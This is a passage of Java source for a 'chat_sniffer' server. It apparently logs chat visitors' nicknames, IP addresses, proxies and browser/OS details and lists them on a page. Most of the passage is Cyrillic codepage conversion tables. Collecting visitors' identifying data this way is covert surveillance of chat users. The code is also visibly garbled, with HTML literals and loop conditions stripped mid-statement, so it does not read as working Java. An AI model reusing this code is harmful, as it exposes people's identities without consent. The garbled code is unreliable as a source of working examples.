"); return Answer; } } } CurrentUser = new UserSniff(US,Decode(Rq,OS_TYPE,win)); if(Rq.indexOf("/sniff")!=-1) { if(Rq.indexOf("/cgi-bin/chat")!=-1) if(Users.size()==0) { Users.addElement(CurrentUser); SaveUser(CurrentUser.GetUserNik(), CurrentUser.GetUserIP(), CurrentUser.GetUserProxy(), CurrentUser.GetUserInfo()); System.out.println(CurrentUser.GetUserNik()+"\n"); } a=0; for(i=0;iNik"+ "Host/IP"+ "Proxy"+ "Browser/OS/Arch"); synchronized(this) { for(i=0;i"+ ""+((UserSniff)(Users.elementAt(i))).GetUserIP()+""+((UserSniff)(Users.elementAt(i))).GetUserProxy()+""+((UserSniff)(Users.elementAt(i))).GetUserInfo()+""; } } Answer = new String("\n

[Refresh]
"+UsersList+ "



"); } return Xlat(Answer,win,OS_TYPE); } public static void main(String argv[]) { chat_sniffer SniffS = new chat_sniffer(); SniffS.start(); } public chat_sniffer() { char WinCode[]=new char[66]; char KoiCode[]=new char[66]; char DosCode[]=new char[66]; WinStr = new String[66]; KoiStr = new String[66]; DosStr = new String[66]; WinCode[0]=0xc0; KoiCode[0]=0xe1; DosCode[0]=0x80; WinCode[1]=0xc1; KoiCode[1]=0xe2; DosCode[1]=0x81; WinCode[2]=0xc2; KoiCode[2]=0xf7; DosCode[2]=0x82; WinCode[3]=0xc3; KoiCode[3]=0xe7; DosCode[3]=0x83; WinCode[4]=0xc4; KoiCode[4]=0xe4; DosCode[4]=0x84; WinCode[5]=0xc5; KoiCode[5]=0xe5; DosCode[5]=0x85; WinCode[6]=0xc6; KoiCode[6]=0xf6; DosCode[6]=0x86; WinCode[7]=0xc7; KoiCode[7]=0xfa; DosCode[7]=0x87; WinCode[8]=0xc8; KoiCode[8]=0xe9; DosCode[8]=0x88; WinCode[9]=0xc9; KoiCode[9]=0xea; DosCode[9]=0x89; WinCode[10]=0xca; KoiCode[10]=0xeb; DosCode[10]=0x8a; WinCode[11]=0xcb; KoiCode[11]=0xec; DosCode[11]=0x8b; WinCode[12]=0xcc; KoiCode[12]=0xed; DosCode[12]=0x8c; WinCode[13]=0xcd; KoiCode[13]=0xee; DosCode[13]=0x8d; WinCode[14]=0xce; KoiCode[14]=0xef; DosCode[14]=0x8e; WinCode[15]=0xcf; KoiCode[15]=0xf0; DosCode[15]=0x8f; WinCode[16]=0xd0; KoiCode[16]=0xf2; DosCode[16]=0x90; WinCode[17]=0xd1; KoiCode[17]=0xf3; DosCode[17]=0x91; WinCode[18]=0xd2; KoiCode[18]=0xf4; DosCode[18]=0x92; WinCode[19]=0xd3; KoiCode[19]=0xf5; DosCode[19]=0x93; WinCode[20]=0xd4; KoiCode[20]=0xe6; DosCode[20]=0x94; WinCode[21]=0xd5; KoiCode[21]=0xe8; DosCode[21]=0x95; WinCode[22]=0xd6; KoiCode[22]=0xe3; DosCode[22]=0x96; WinCode[23]=0xd7; KoiCode[23]=0xfe; DosCode[23]=0x97; WinCode[24]=0xd8; KoiCode[24]=0xfb; DosCode[24]=0x98; WinCode[25]=0xd9; KoiCode[25]=0xfd; DosCode[25]=0x99; WinCode[26]=0xda; KoiCode[26]=0xff; DosCode[26]=0x9a; WinCode[27]=0xdb; KoiCode[27]=0xf9; DosCode[27]=0x9b; WinCode[28]=0xdc; KoiCode[28]=0xf8; DosCode[28]=0x9c; WinCode[29]=0xdd; KoiCode[29]=0xfc; DosCode[29]=0x9d; WinCode[30]=0xde; KoiCode[30]=0xe0; DosCode[30]=0x9e; WinCode[31]=0xdf; KoiCode[31]=0xf1; DosCode[31]=0x9f; WinCode[32]=0xe0; KoiCode[32]=0xc1; DosCode[32]=0xa0; WinCode[33]=0xe1; KoiCode[33]=0xc2; DosCode[33]=0xa1; WinCode[34]=0xe2; KoiCode[34]=0xd7; DosCode[34]=0xa2; WinCode[35]=0xe3; KoiCode[35]=0xc7; DosCode[35]=0xa3; WinCode[36]=0xe4; KoiCode[36]=0xc4; DosCode[36]=0xa4; WinCode[37]=0xe5; KoiCode[37]=0xc5; DosCode[37]=0xa5; WinCode[38]=0xe6; KoiCode[38]=0xd6; DosCode[38]=0xa6; WinCode[39]=0xe7; KoiCode[39]=0xda; DosCode[39]=0xa7; WinCode[40]=0xe8; KoiCode[40]=0xc9; DosCode[40]=0xa8; WinCode[41]=0xe9; KoiCode[41]=0xca; DosCode[41]=0xa9; WinCode[42]=0xea; KoiCode[42]=0xcb; DosCode[42]=0xaa; WinCode[43]=0xeb; KoiCode[43]=0xcc; DosCode[43]=0xab; WinCode[44]=0xec; KoiCode[44]=0xcd; DosCode[44]=0xac; WinCode[45]=0xed; KoiCode[45]=0xce; DosCode[45]=0xad; WinCode[46]=0xee; KoiCode[46]=0xcf; DosCode[46]=0xae; WinCode[47]=0xef; KoiCode[47]=0xd0; DosCode[47]=0xaf; WinCode[48]=0xf0; KoiCode[48]=0xd2; DosCode[48]=0xe0; WinCode[49]=0xf1; KoiCode[49]=0xd3; DosCode[49]=0xe1; WinCode[50]=0xf2; KoiCode[50]=0xd4; DosCode[50]=0xe2; WinCode[51]=0xf3; KoiCode[51]=0xd5; DosCode[51]=0xe3; WinCode[52]=0xf4; KoiCode[52]=0xc6; DosCode[52]=0xe4; WinCode[53]=0xf5; KoiCode[53]=0xc8; DosCode[53]=0xe5; WinCode[54]=0xf6; KoiCode[54]=0xc3; DosCode[54]=0xe6; WinCode[55]=0xf7; KoiCode[55]=0xde; DosCode[55]=0xe7; WinCode[56]=0xf8; KoiCode[56]=0xdb; DosCode[56]=0xe8; WinCode[57]=0xf9; KoiCode[57]=0xdd; DosCode[57]=0xe9; WinCode[58]=0xfa; KoiCode[58]=0xdf; DosCode[58]=0xea; WinCode[59]=0xfb; KoiCode[59]=0xd9; DosCode[59]=0xeb; WinCode[60]=0xfc; KoiCode[60]=0xd8; DosCode[60]=0xec; WinCode[61]=0xfd; KoiCode[61]=0xdc; DosCode[61]=0xed; WinCode[62]=0xfe; KoiCode[62]=0xc0; DosCode[62]=0xee; WinCode[63]=0xff; KoiCode[63]=0xd1; DosCode[63]=0xef; WinCode[64]=0xa8; KoiCode[64]=0xb3; DosCode[64]=0xf0; WinCode[65]=0xb8; KoiCode[65]=0xa3; DosCode[65]=0xf1; Win = new String(WinCode); Koi = new String(KoiCode); Dos = new String(DosCode); WinStr[0]="C0"; KoiStr[0]="E1"; DosStr[0]="80"; WinStr[1]="C1"; KoiStr[1]="E2"; DosStr[1]="81"; WinStr[2]="C2"; KoiStr[2]="F7"; DosStr[2]="82"; WinStr[3]="C3"; KoiStr[3]="E7"; DosStr[3]="83"; WinStr[4]="C4"; KoiStr[4]="E4"; DosStr[4]="84"; WinStr[5]="C5"; KoiStr[5]="E5"; DosStr[5]="85"; WinStr[6]="C6"; KoiStr[6]="F6"; DosStr[6]="86"; WinStr[7]="C7"; KoiStr[7]="FA"; DosStr[7]="87"; WinStr[8]="C8"; KoiStr[8]="E9"; DosStr[8]="88"; WinStr[9]="C9"; KoiStr[9]="EA"; DosStr[9]="89"; WinStr[10]="CA"; KoiStr[10]="EB"; DosStr[10]="8A"; WinStr[11]="CB"; KoiStr[11]="EC"; DosStr[11]="8B"; WinStr[12]="CC"; KoiStr[12]="ED"; DosStr[12]="8C"; WinStr[13]="CD"; KoiStr[13]="EE"; DosStr[13]="8D"; WinStr[14]="CE"; KoiStr[14]="EF"; DosStr[14]="8E"; WinStr[15]="CF"; KoiStr[15]="F0"; DosStr[15]="8F"; WinStr[16]="D0"; KoiStr[16]="F2"; DosStr[16]="90"; WinStr[17]="D1"; KoiStr[17]="F3"; DosStr[17]="91"; WinStr[18]="D2"; KoiStr[18]="F4"; DosStr[18]="92"; WinStr[19]="D3"; KoiStr[19]="F5"; DosStr[19]="93"; WinStr[20]="D4"; KoiStr[20]="E6"; DosStr[20]="94"; WinStr[21]="D5"; KoiStr[21]="E8"; DosStr[21]="95"; WinStr[22]="D6"; KoiStr[22]="E3"; DosStr[22]="96"; WinStr[23]="D7"; KoiStr[23]="FE"; DosStr[23]="97"; WinStr[24]="D8"; KoiStr[24]="FB"; DosStr[24]="98"; WinStr[25]="D9"; KoiStr[25]="FD"; DosStr[25]="99"; WinStr[26]="DA"; KoiStr[26]="FF"; DosStr[26]="9A"; WinStr[27]="DB"; KoiStr[27]="F9"; DosStr[27]="9B"; WinStr[28]="DC"; KoiStr[28]="F8"; DosStr[28]="9C"; WinStr[29]="DD"; KoiStr[29]="FC"; DosStr[29]="9D"; WinStr[30]="DE"; KoiStr[30]="E0"; DosStr[30]="9E"; WinStr[31]="DF"; KoiStr[31]="F1"; DosStr[31]="9F"; WinStr[32]="E0"; KoiStr[32]="C1"; DosStr[32]="A0"; WinStr[33]="E1"; KoiStr[33]="C2"; DosStr[33]="A1"; WinStr[34]="E2"; KoiStr[34]="D7"; DosStr[34]="A2"; WinStr[35]="E3"; KoiStr[35]="C7"; DosStr[35]="A3"; WinStr[36]="E4"; KoiStr[36]="C4"; DosStr[36]="A4"; WinStr[37]="E5"; KoiStr[37]="C5"; DosStr[37]="A5"; WinStr[38]="E6"; KoiStr[38]="D6"; DosStr[38]="A6"; WinStr[39]="E7"; KoiStr[39]="DA"; DosStr[39]="A7"; WinStr[40]="E8"; KoiStr[40]="C9"; DosStr[40]="A8"; WinStr[41]="E9"; KoiStr[41]="CA"; DosStr[41]="A9"; WinStr[42]="EA"; KoiStr[42]="CB"; DosStr[42]="AA"; WinStr[43]="EB"; KoiStr[43]="CC"; DosStr[43]="AB"; WinStr[44]="EC"; KoiStr[44]="CD"; DosStr[44]="AC"; WinStr[45]="ED"; KoiStr[45]="CE"; DosStr[45]="AD"; WinStr[46]="EE"; KoiStr[46]="CF"; DosStr[46]="AE"; WinStr[47]="EF"; KoiStr[47]="D0"; DosStr[47]="AF"; WinStr[48]="F0"; KoiStr[48]="D2"; DosStr[48]="E0"; WinStr[49]="F1"; KoiStr[49]="D3"; DosStr[49]="E1"; WinStr[50]="F2"; KoiStr[50]="D4"; DosStr[50]="E2"; WinStr[51]="F3"; KoiStr[51]="D5"; DosStr[51]="E3"; WinStr[52]="F4"; KoiStr[52]="C6"; DosStr[52]="E4"; WinStr[53]="F5"; KoiStr[53]="C8"; DosStr[53]="E5"; WinStr[54]="F6"; KoiStr[54]="C3"; DosStr[54]="E6"; WinStr[55]="F7"; KoiStr[55]="DE"; DosStr[55]="E7"; WinStr[56]="F8"; KoiStr[56]="DB"; DosStr[56]="E8"; WinStr[57]="F9"; KoiStr[57]="DD"; DosStr[57]="E9"; WinStr[58]="FA"; KoiStr[58]="DF"; DosStr[58]="EA"; WinStr[59]="FB"; KoiStr[59]="D9"; DosStr[59]="EB"; WinStr[60]="FC"; KoiStr[60]="D8"; DosStr[60]="EC"; WinStr[61]="FD"; KoiStr[61]="DC"; DosStr[61]="ED"; WinStr[62]="FE"; KoiStr[62]="C0"; DosStr[62]="EE"; WinStr[63]="FF"; KoiStr[63]="D1"; DosStr[63]="EF"; WinStr[64]="A8"; KoiStr[64]="B3"; DosStr[64]="F0"; WinStr[65]="B8"; KoiStr[65]="A3"; DosStr[65]="F1"; SniffConnections = new Vector(); Users = new Vector(); } String Decode(String S, int s, int d) { int i,j,k=0; char[] OutChar = new char[S.length()]; String OutStr = new String(); String Src[] = new String[66]; String Dst = new String(); if(s == win) Src=WinStr; if(s == dos) Src=DosStr; if(s == koi) Src=KoiStr; if(d == win) Dst=Win; if(d == dos) Dst=Dos; if(d == koi) Dst=Koi; k=0; for(i=0;i